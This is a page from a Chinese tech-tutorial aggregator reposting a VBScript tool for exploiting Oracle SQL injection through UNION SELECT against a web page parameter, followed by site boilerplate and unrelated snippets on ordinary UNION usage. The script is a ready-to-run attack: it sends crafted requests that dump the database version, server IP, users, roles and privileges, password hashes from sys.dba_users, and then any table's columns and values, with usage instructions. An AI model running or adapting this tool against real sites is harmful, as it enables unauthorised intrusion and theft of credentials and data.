首页 / ORACLE / oracle union 注入工具

oracle union 注入工具

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了oracle union 注入工具，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含11337字，纯文字阅读大概需要17分钟。

内容图文

‘***********************************************************************************************
‘oracle union 注入工具 By 孤水绕城
‘适用于可以使用union的注入点上
‘***********************************************************************************************
‘改了Tr4c3的ql2005注射辅助脚本[粗糙版]的框架
Const method = "Get" ‘提交方式请修改此处,有get和post可选
Const DisPlay = "D" ‘S 保存到文件，D输出到屏幕
Dim strUrl_B, strUrl, MyArray, strArg, strD,tmpStrArg,currcount,num
‘自己手工判断字段数，然后找出一个字符格式并且可以在网页中显示的位置替换为<**>
strUrl_B = "http://www.target.com/renews.jsp?id=348%20and%201=2%20union%20all%20select%20null,<**>,null,null,null,null,null,null,null,null,null,null" ‘基于注射点的不确定性，此处请手工更改
currcount = -1
MyArray = Split(strUrl_B, "?", -1, 1)
strUrl = MyArray(0) ‘取url
strArg = MyArray(1) ‘取参数
Set Args = Wscript.Arguments
If Args.Count = 0 Then
showU()
End If
‘************************************************************************
‘ 爆库
‘************************************************************************
If Args.Count =1 Then
If LCase(Trim(Args(0)))= "info" then
ResuT("The oracle version")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("banner"))
Call sqlInj("%20from%20v$version%20where%201=1%20--","content")
ResuT("The oracle ip")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("sys_context(chr(117)%7C%7Cchr(115)%7C%7Cchr(101)%7C%7Cchr(114)%7C%7Cchr(101)%7C%7Cchr(110)%7C%7Cchr(118),chr(105)%7C%7Cchr(112)%7C%7Cchr(95)%7C%7Cchr(97)%7C%7Cchr(100)%7C%7Cchr(100)%7C%7Cchr(114)%7C%7Cchr(101)%7C%7Cchr(115)%7C%7Cchr(115))"))
Call sqlInj("%20%20from%20dual%20where%201=1%20-- ","content")
ResuT("The database")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("name"))
Call sqlInj("%20from%20v$database%20where%20rownum=1%20-- ","content")
ResuT("The database user")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("user"))
Call sqlInj("%20%20from%20user_tables%20where%20rownum=1%20--","content")
ResuT("The database All users")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("count(*)"))
Call sqlInj("%20from%20all_users%20where%201=1%20--","count")
tmpStrArg = Replace(strArg,"<**>",plastr("username"))
For num=0 To currcount
Call sqlInj("%20from%20(select%20rownum%20r,username%20from%20(select%20rownum%20r,username%20from%20all_users%20where%20rownum%3C="&num+1&"%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20--","content")
Next
currcount = -1
ResuT("The user PRIVILEGES")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("count(*)"))
Call sqlInj("%20from%20user_role_privs%20where%201=1%20--","count")
tmpStrArg = Replace(strArg,"<**>",plastr("granted_role"))
For num=0 To currcount
Call sqlInj("%20from%20(select%20rownum%20r,granted_role%20from%20(select%20rownum%20r,granted_role%20from%20user_role_privs%20where%20rownum%3C="&num+1&"%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20--","content")
Next
currcount = -1
ResuT("The SESSION_ROLES")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("count(*)"))
Call sqlInj("%20from%20session_roles%20where%201=1%20-- ","count")
tmpStrArg = Replace(strArg,"<**>",plastr("role"))
For num=0 To currcount
Call sqlInj("%20%20from%20(select%20rownum%20r,role%20from%20(select%20rownum%20r,role%20from%20session_roles%20where%20rownum%3C="&num+1&"%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20-- ","content")
Next
currcount = -1
ResuT("The service_names")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("value"))
Call sqlInj("%20from%20v$parameter%20where%20name=chr(115)%7C%7Cchr(101)%7C%7Cchr(114)%7C%7Cchr(118)%7C%7Cchr(105)%7C%7Cchr(99)%7C%7Cchr(101)%7C%7Cchr(95)%7C%7Cchr(110)%7C%7Cchr(97)%7C%7Cchr(109)%7C%7Cchr(101)%7C%7Cchr(115)%20--","content")

ResuT("The Account Hash ")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("count(*)"))
Call sqlInj("%20from%20sys.dba_users%20where%201=1%20--","count")
tmpStrArg = Replace(strArg,"<**>",plastr("a"))
For num=0 To currcount
Call sqlInj("%20from%20(select%20rownum%20r,a%20from%20(select%20rownum%20r,username%7C%7Cchr(58)%7C%7Cpassword%7C%7Cchr(58)%7C%7Cname%7C%7Cchr(58)%7C%7Cutl_inaddr.get_host_name%7C%7Cchr(58)%20as%20a%20from%20sys.dba_users,sys.v_$database%20where%20rownum%3C="&num+1&"%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20--","content")
Next
currcount = -1
Wscript.Quit
End If
End If
‘************************************************************************
‘ 爆表
‘************************************************************************
If Args.Count=2 And LCase(Trim(Args(1)))="tables" Then
ResuT("All The tables ")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("count(*)"))
Call sqlInj("%20from%20user_tables%20where%201=1%20--","count")
tmpStrArg = Replace(strArg,"<**>",plastr("table_name"))
If currcount >0 Then
For num=0 To currcount
Call sqlInj("%20from%20(select%20rownum%20r,table_name%20from%20(select%20rownum%20r,table_name%20from%20user_tables%20where%20rownum%3C="&num+1&"%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20--","content")
Next
currcount = -1
End If
Wscript.Quit
End If
‘************************************************************************
‘ 爆字段
‘************************************************************************
If Args.Count=3 And LCase(Trim(Args(2)))="cols" Then
ResuT(" The cols of "&Args(1))
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("count(*)"))
Call sqlInj("%20from%20user_tab_columns%20where%20table_name="&encodechr(UCase(Trim(Args(1))))&"%20--","count")
tmpStrArg = Replace(strArg,"<**>",plastr("column_name"))
If currcount >0 Then
For num=0 To currcount
Call sqlInj("%20from%20(select%20rownum%20r,column_name%20from%20(select%20rownum%20r,column_name%20from%20user_tab_columns%20where%20rownum%3C="&num+1&"%20and%20table_name="&encodechr(UCase(Trim(Args(1))))&"%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20--","content")
Next
currcount = -1
End If
Wscript.Quit
End If
‘************************************************************************
‘ 爆字段值
‘************************************************************************
If Args.Count=4 And LCase(Trim(Args(3)))="values" Then
ResuT(" The value of "&Args(2))
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>","count(*)")
Call sqlInj("%20from%20client%20where%201=1%20--","count")
tmpStrArg = Replace(strArg,"<**>",UCase(Trim(Args(2))))
For num=0 To currcount
Call sqlInj("%20from%20(select%20rownum%20r,"&UCase(Trim(Args(2)))&"%20from%20(select%20rownum%20r,"&UCase(Trim(Args(2)))&"%20from%20"&UCase(Trim(Args(1)))&"%20where%20rownum%3C="&num+1&"%20and%201=1%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20-- ","content")
next
Wscript.Quit
End If
Sub SqlInj(value,thetype)
If UCase(method) = "GET" Then
value = tmpStrArg & value
Dim thestr
thestr = strUrl &"?" & value
‘wsh.echo thestr
Set objXML = CreateObject("Microsoft.XMLHTTP")
objXML.Open "GET", strUrl &"?" & value , False
objXML.SetRequestHeader "Referer", strUrl
‘objXML.SetRequestHeader "Accept-Language", "EUC-KR"
objXML.send()
strRevS = objXML.ResponseText ‘默认用这个
‘strRevS = bytes2BSTR(objXML.ResponseBody) ‘韩文有时候要用这个
If InStr(strRevS,"^")<>0 And InStr(strRevs,"~")<>0 Then
If thetype = "count" Then
strD = Mid(strRevS,InStr(strRevS,"^^^")+3, InStr(strRevs,"~~~") - Instr(strRevS,"^^^")-3)
currcount = CInt(strD)
ResuT(" |_the count number ["&strD&"]")
End if
If thetype = "content" And currcount <> -1 Then
strD = Mid(strRevS,InStr(strRevS,"^^^")+3, InStr(strRevs,"~~~") - Instr(strRevS,"^^^")-3)
ResuT(" |_|_"&strD)
End If
If thetype = "content" And currcount = -1 then
strD = Mid(strRevS,InStr(strRevS,"^^^")+3, InStr(strRevs,"~~~") - Instr(strRevS,"^^^")-3)
ResuT(" |_"&strD)
End If
Else
strD = ""
End If
ElseIf UCase(method) = "POST" Then
value = tmpStrArg & value
Set objXML = CreateObject("Microsoft.XMLHTTP")
objXML.Open "POST", strUrl, False
objXML.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
objXML.SetRequestHeader "Referer", strUrl
objXML.send(UrlEncode(value))
strRevS = objXML.ResponseText ‘默认用这个
‘strRevS = bytes2BSTR(objXML.ResponseBody) ‘韩文有时候要用这个
If InStr(strRevS,"^")<>0 And InStr(strRevs,"~")<>0 Then
If thetype = "count" Then
strD = Mid(strRevS,InStr(strRevS,"^^^")+3, InStr(strRevs,"~~~") - Instr(strRevS,"^^^")-3)
currcount = CInt(strD)
ResuT(" |_the count number"&strD)
End if
If thetype = "content" And currcount <> -1 then
strD = Mid(strRevS,InStr(strRevS,"^^^")+3, InStr(strRevs,"~~~") - Instr(strRevS,"^^^")-3)
ResuT(" |_|_"&strD)
End If
If thetype = "content" And currcount = -1 then
strD = Mid(strRevS,InStr(strRevS,"^^^")+3, InStr(strRevs,"~~~") - Instr(strRevS,"^^^")-3)
ResuT(" |_"&strD)
End If
Else
strD = ""
End If
End If
End Sub
Function ResuT(strInfo)
If UCase(DisPlay) = "S" Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set fso1 = fso.OpenTextFile("result.txt",8,True)
fso1.WriteLine(strInfo)
fso1.Close
Set fso = Nothing
ElseIf UCase(DisPlay) = "D" Then
Wscript.Echo(strInfo)
End If
End Function
Function UrlEncode(str)
str = Replace(str," ","+")
UrlEncode = str
End Function
Function bytes2BSTR(vIn)
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function encodechr(str)
Dim i,retstr
retstr = ""
For i=1 To Len(str)
retstr = retstr&"chr("&Asc(Mid(str,i,1))&")%7C%7C"
Next
encodechr = Left(retstr,Len(retstr)-6)
End Function
Function plastr(str)
Dim retstr
retstr = retstr&"chr(94)%7C%7Cchr(94)%7C%7Cchr(94)%7C%7C"&str&"%7C%7Cchr(126)%7C%7Cchr(126)%7C%7Cchr(126)"
plastr = retstr
End function
Sub showU()
With Wscript
.Echo("+--------------------------=====================------------------------------+")
.Echo("oracle union 注入工具 By 孤水绕城")
.Echo("Usage:")
.Echo(" cscript "&.ScriptName&" info--爆基本信息")
.Echo(" cscript "&.ScriptName&" pubs tables--爆库pubs里所有用户表名")
.Echo(" cscript "&.ScriptName&" pubs authors cols--爆库pubs里authors表的所有字段名")
.Echo(" cscript "&.ScriptName&" pubs authors au_id values--爆pubs.dbo.authors里au_id的值")
.Echo("+--------------------------=====================------------------------------+")
.Quit
End with
End Sub

原文：http://www.cnblogs.com/milantgh/p/4573397.html

内容总结

以上是互联网集市为您收集整理的oracle union 注入工具全部内容，希望文章能够帮你解决oracle union 注入工具所遇到的程序开发问题。如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容，请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/1186775.html

来源：【匿名】

【上一篇】oracle 函数授权【下一篇】Oracle Faq(Oracle TAF的配置)

更多 ►

【oracle union 注入工具】教程文章相关的互联网学习教程文章

oracle union 注入工具

oracle 优化or 更换in、exists、union all几个字眼，测试没有问题！【代码】

oracle 优化or 更换in、exists、union几个字眼。测试没有问题！根据实际情况选择相应的语句是。假设指数,or全表扫描，in 和not in 应慎用。否则会导致全表扫描。 select * from T_Pro_Product where bar_code = nnnmmm or name = nnnmmm or no = nnnmmm;select *from T_Pro_Productwhere nnnmmm in (bar_code, name, no)--忧化select *from T_Pro_Product t1where exists(select 1from T_Pro_Product tt1where t1....

【Oracle学习笔记-5--】集合操作之union，intersect和minus操作【图】

select e.employee_id,e.last_name from hr.employees ewhere e.last_name like ‘C%‘unionselect e.employee_id,e.last_name from hr.employees ewhere e.last_name like ‘S%‘;--等价于select e.employee_id,e.last_name from hr.employees ewhere e.last_name like ‘C%‘or e.last_name like ‘S%‘;-- intersect交集操作select e.employee_id,e.last_name from hr.employees ewhere e.last_name like ‘C%‘or e.last_name ...

oracle --union和union all【代码】【图】

Intersect：对两个结果集进行交集操作，不包括重复行。默认规则排序例如：对t_user表和t_fchs表求交集 select * from (select tu.user_name as name,tu.telephone from t_user tu) Intersect (select tf.fchs_name,tf.fchs_telephone from t_fchs tf) 结果如下：备注：由两张表可知，交集的结果就只有这一个。三、Minus的用法 Minus：对两个结果集进行差操作，不包括重复行，同时默认排序 minus的作用是去同留异 select ...

Oracle 中union的用法

UNION 指令的目的是将两个 SQL 语句的结果合并起来,可以查看你要的查询结果. 例如: SELECT Date FROM Store_Information UNION SELECT Date FROM Internet_Sales 注意:union用法中,两个select语句的字段类型匹配,而且字段个数要相同,如上面的例子,在实际的软件开发过程,会遇到更复杂的情况,具体请看下面的例子 select ‘1‘ as type,FL_ID,FL_CODE,FL_CNAME,FLDA.FL_PARENTID from FLDA WHERE ZT_ID=2006030002 union select ‘...

Oracle中的Union和Union All的区别

【举例】一、创建A、B两张表，为了方便理解，两张表都只创建一个字段列，分别是a_col和b_col，添加A表数据1、4、5、9，添加B表数据2、3、4、5。二、输入如下语句：select * from A union select * from B; 结果：1、4、5、9、2、3。（去除了重复行）输入如下语句：select * from A union all select * from B; 结果：1、4、5、9、2、3、4、5。（未去除重复行）【结论】 Union：对两个结果集进...

oracle之集合操作函数---minus、union、intersect

集合操作符专门用于合并多条select语句的结果，包括：UNION,UNION ALL,INTERSECT,MINUS。当使用集合操作函数时，需保证数据集的字段数据类型和数目一致。使用集合操作符需要注意：集合操作符不适用于log、varray和嵌套列表。 union、interesect和minus操作不可作用于long列。如果选择列中包含有表达式或者函数，那么必须为表达式或者函数定义列别名。 1、UNION 当使用union时，自动过滤到数据集中重复的列，并以第一列的结果进行...

ORACLE union order by【代码】

select * from ( select a.id,a.oacode,a.custid,a.custname,a.xsz,a.salename,a.communicationtheme,a.communicationproperty,a.communicationtime,a.productmanager,a.creator,a.createdate from technology_flow a where a.oastate=正常结束 union select b.id,b.oacode,b.custid,b.custname,b.xsz,b.salename,b.communicationtheme,b.communicationproperty,b.communicationtime,b.productmanager,b.creator,b.createdate f...

Oracle用户登录和连接查询、特殊排序、over()、rank()、decode()、 case when、UNION/UNION ALL

一、登录问题 1、忘记用户名密码： (1)默认应户名密码： system/manager sys/change_on_install scott/tiger (2)cmd以系统管理员身份登录： C:\Users\SAMSUNG>sqlplus system/manager as sysdba 查看所有user： SQL> select username from dba_users; 修改用户密码： SQL> alter user scott identified by tiger; 删除用户： SQL> drop user wx cascade; 创建用户： SQL> conn system/manager as sysdba SQL> create user ...

Oracle中 union 和 union all 的区别

如果我们需要将两个select语句的结果作为一个整体显示出来，我们就需要用到union或者union all关键字。 union(或称为联合)的作用是将多个结果合并在一起显示出来。 union和union all的区别是,union会自动压缩多个结果集合中的重复结果，而union all则将所有的结果全部显示出来，不管是不是重复。 Union：对两个结果集进行并集操作，不包括重复行，同时进行默认规则的排序； Union All：对两个结果集进行并集操作，包括重复行，不进...

oracle 的交并差函数，intersect;union;minus。【代码】

创建TABLE_A create table TABLE_A ( A varchar2(10), B varchar2(10) ); --给TABLE_A添加数据 insert into TABLE_A values(‘a1‘,‘b1‘); insert into TABLE_A values(‘a2‘,‘b2‘); insert into TABLE_A values(‘a3‘,‘b3‘); --创建TABLE_B create table TABLE_B ( A varchar2(10), B varchar2(10) ); --给TABLE_B添加数据 insert into TABLE_B values(‘a1‘,‘b1‘); insert into TABLE_B val...

oracle_union_operator【代码】

rows.Syntax The syntax for the UNION operator in SQL is: SELECT expression1, expression2, ... expression_n FROM tables [WHERE conditions] UNION SELECT expression1, expression2, ... expression_n FROM tables [WHERE conditions]; Parameters or Arguments expression1, expression2, expression_nThe columns or calculations that you wish to retrieve.tablesThe tables that you wish to retrieve records from. T...

oracle union 和 union all【代码】

java.sql.SQLSyntaxErrorException: ORA-01789: 查询块具有不正确的结果列数原因：发现是sql语句用union时的两个语句查询的字段不一致解决：将 2个 union 的sql语句，select的列，改为一样的字段。 UNION用的比较多union all是直接连接，取到得是所有值，记录可能有重复 union 是取唯一值，记录没有重复 1、UNION 的语法如下： [SQL 语句 1] UNION [SQL 语句 2]2、UNION ALL 的语法如下： [SQL 语句 ...

【ORACLE】两个order by的SQL使用 UNION 或者 UNION ALL 报错 ORA-00933:sql命令未正确结束

实际上做了两部分动作：结果集合并 + 排序， union all只进行结果集简单合并，不做排序，效率比union高。例子：　　　表一：table1 查询语句： select * from table1 t1 order by t1. c1 ; 表二：table2 查询语句： select * from table1 t2 order by t2.c1 . 需求：合并表一表二结果集，使用union 或者 union all 都会报错：ORA-00933 sql命令未正确结束。原因：oracle 认为第一个order by结束后整个select...

UNION - 相关标签

ORACLE - 最热教程

Oracle11g 创建数据库中问题处理（必须...Oracle 查看索引表空间 Navicat报错-ORA-28547：connection to...oracle 查看最大连接数 Oracle中合并数据集(多行变一行)Navicat如何添加oracle的oci.dll插件，...oracle如何将am,pm时间字符串改为时间格...for update造成的Oracle锁表与解锁 phppdooracle中文乱码的快速解决方法_P...Oracle分区表新增主分区及子分区语句

首页 / ORACLE / oracle union 注入工具

oracle union 注入工具

内容导读

内容图文

内容总结

内容备注

内容手机端

【oracle union 注入工具】教程文章相关的互联网学习教程文章

UNION - 相关标签

ORACLE - 最新教程

ORACLE - 最热教程